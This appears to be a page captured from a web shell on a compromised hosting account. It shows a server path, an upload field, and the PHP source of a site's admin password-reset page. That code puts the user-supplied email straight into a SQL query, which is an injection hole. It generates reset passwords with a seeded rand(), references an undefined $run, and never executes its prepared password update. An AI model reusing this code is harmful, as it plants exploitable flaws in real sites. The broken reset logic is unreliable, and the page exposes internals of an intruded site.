WebShell: t.me/oghbnz


Current Path : /home/sreemitragroup/public_html/admin/
Upload File :
Current File : /home/sreemitragroup/public_html/admin/reset_psw.php

<?php include("db_conn.php");

$result=$conn->query("SELECT * FROM contact_details ");

$row=$result->fetch(PDO::FETCH_ASSOC);

?>

<!DOCTYPE html>

<html lang="en">

  <head>

    <meta charset="utf-8">



    <title><?php echo $row['site_name']; ?></title>



	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">



    <meta name="apple-mobile-web-app-capable" content="yes"> 



	<link href="./css/bootstrap.min.css" rel="stylesheet" type="text/css" />



	<link href="./css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css" />



	



	<link href="./css/font-awesome.min.css" rel="stylesheet">



    <link href="http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,600" rel="stylesheet">



    



    <link href="./css/ui-lightness/jquery-ui-1.10.0.custom.min.css" rel="stylesheet">    



    



    <link href="./css/base-admin-2.css" rel="stylesheet">



    <link href="./css/base-admin-2-responsive.css" rel="stylesheet">



	



    <link href="./css/pages/signin.css" rel="stylesheet" type="text/css">







    <link href="./css/custom.css" rel="stylesheet">



    



   <link rel="shortcut icon" href="../images/site_images/<?php echo $row['fav_icon']; ?>" type="image/x-icon"/>







</head>







<body>



	



	<div class="navbar navbar-inverse navbar-fixed-top">



	



	<div class="navbar-inner">



		



		<div class="container">



			



			<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">



				<i class="icon-cog"></i>



			</a>



			



			<a class="brand" href="login.php">



			<?php echo $row['site_name']; ?> Admin Panel				



			</a>		

		</div> <!-- /container -->

	</div> <!-- /navbar-inner -->



</div> <!-- /navbar -->



  </head>



<body>



<div style="padding-top: 72px; ">



<div class="main">



    <div class="container">



      <div class="row">



      	<div class="span8">      		



      		<div class="widget stacked ">



      			<div class="widget-header" align="center">



      				<h3>Password Reset</h3>	



  				</div> <!-- /widget-header -->



				<div class="widget-content">



					<?php if($_GET['msg']=='update'){?>



					<h3 style="color: green" style="padding-left: 182px;">Password updated successfully!</h3>



					<?php } ?>



					<div class="tabbable">



						<div class="tab-content">



							<div class="tab-pane active" id="profile">



								<h4 style="padding-left: 100px;"><b>Enter Registered Email-id :</b></h4>



							<form name="form" id="form" method="post" action="" onSubmit="return validatePassword()" class="form-horizontal">

					



						<div class="control-group">



								<label class="control-label" for="username">Email-id :</label>



							<div class="controls">



								<input type="email" name="email" id="email" class="txtField"/><span id="email"  class="span5"></span>

							</div>

						</div> <!-- /login-fields -->



			<div class=class="controls" style="padding-left: 182px; ">



				<input type="submit" name="submit" value="Submit" class="btn btn-primary">				



			</div>



<div class="login-extra" style="padding-right: 182px;">



	Click Here To <a href="login.php">Log-In</a><br>



</div> <!-- /login-extra -->



							</form>

						</div>

							</div>

						</div>

					</div>

				</div> <!-- /widget-content -->

			</div> <!-- /widget -->

	    </div> <!-- /span8 -->

</div> <!-- /row -->

    </div> <!-- /container -->

</div> <!-- /main -->

</div>





<div class="footer">

	<div class="container">

		<div class="row">

			<div id="footer-copyright" class="span6"  >



				&copy; <?php echo date('Y'); ?> <?php echo $row['site_name']; ?> Admin Panel



			</div> <!-- /span6 -->

		</div> <!-- /row -->

	</div> <!-- /container -->

</div> <!-- /footer -->









<!-- Le javascript



================================================== -->



<!-- Placed at the end of the document so the pages load faster -->



<script src="./js/libs/jquery-1.8.3.min.js"></script>



<script src="./js/libs/jquery-ui-1.10.0.custom.min.js"></script>



<script src="./js/libs/bootstrap.min.js"></script>







<script src="./js/Application.js"></script>







<script src="./js/signin.js"></script>







</body>



</html>




<?php

include("db_conn.php");


$query=$conn->query("SELECT * FROM contact_details ");

$title_1=$query->fetch(PDO::FETCH_ASSOC);

$from_email=$title_1['from_email'];

$email=$_POST['email'];

$code = generatePassword();

$to = $email;

$sub="Your Default Password";

$message ="Your Password is :".$code;

$headers .= 'From: <'.$from_email.'>' . "\r\n";

$a=$conn->query("SELECT * FROM contact_details WHERE forget_email= '$email' ");

if(isset($_POST['submit'])){

if($a->rowCount() > 0){

 if (mail($to,$sub,$message,$headers)){

	$run->execute();

 	$sql3=$conn->prepare("UPDATE log_in_cr set admin_psw=:code");
 	$sql3->bindParam(':code',sha1($code), PDO::PARAM_STR);
 		echo "<script>alert('Default password sent to registed mail id')</script>";
 		echo "<script>document.location.href='login.php'</script>";
 		}
 }else{
 	echo "<script>alert('Please Check, Given Mail-Id doest match with Registered Mail-Id')</script>";
		}
	}
?>


<?php
                   function generatePassword($length = 8, $level = 2) {
                   list($usec, $sec) = explode(' ', microtime());
                   srand((float) $sec + ((float) $usec * 100000));
                   $validchars[1] = "0123456789abcdfghjkmnpqrstvwxyz";
                   $validchars[2] = "0123456789abcdfghjkmnpqrstvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
                   $validchars[3] = "0123456789_!@#$%&*()-=+/abcdfghjkmnpqrstvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@#$%&*()-=+/";
                   $password = "";
                   $counter = 0;
                   while ($counter < $length) {
                   $actChar = substr($validchars[$level], rand(0, strlen($validchars[$level]) - 1), 1);
                   // All character must be different
                   if (!strstr($password, $actChar)) {
                   $password .= $actChar;
                   $counter++;
                   }
                   }
                   return $password;
                   }
                   ?>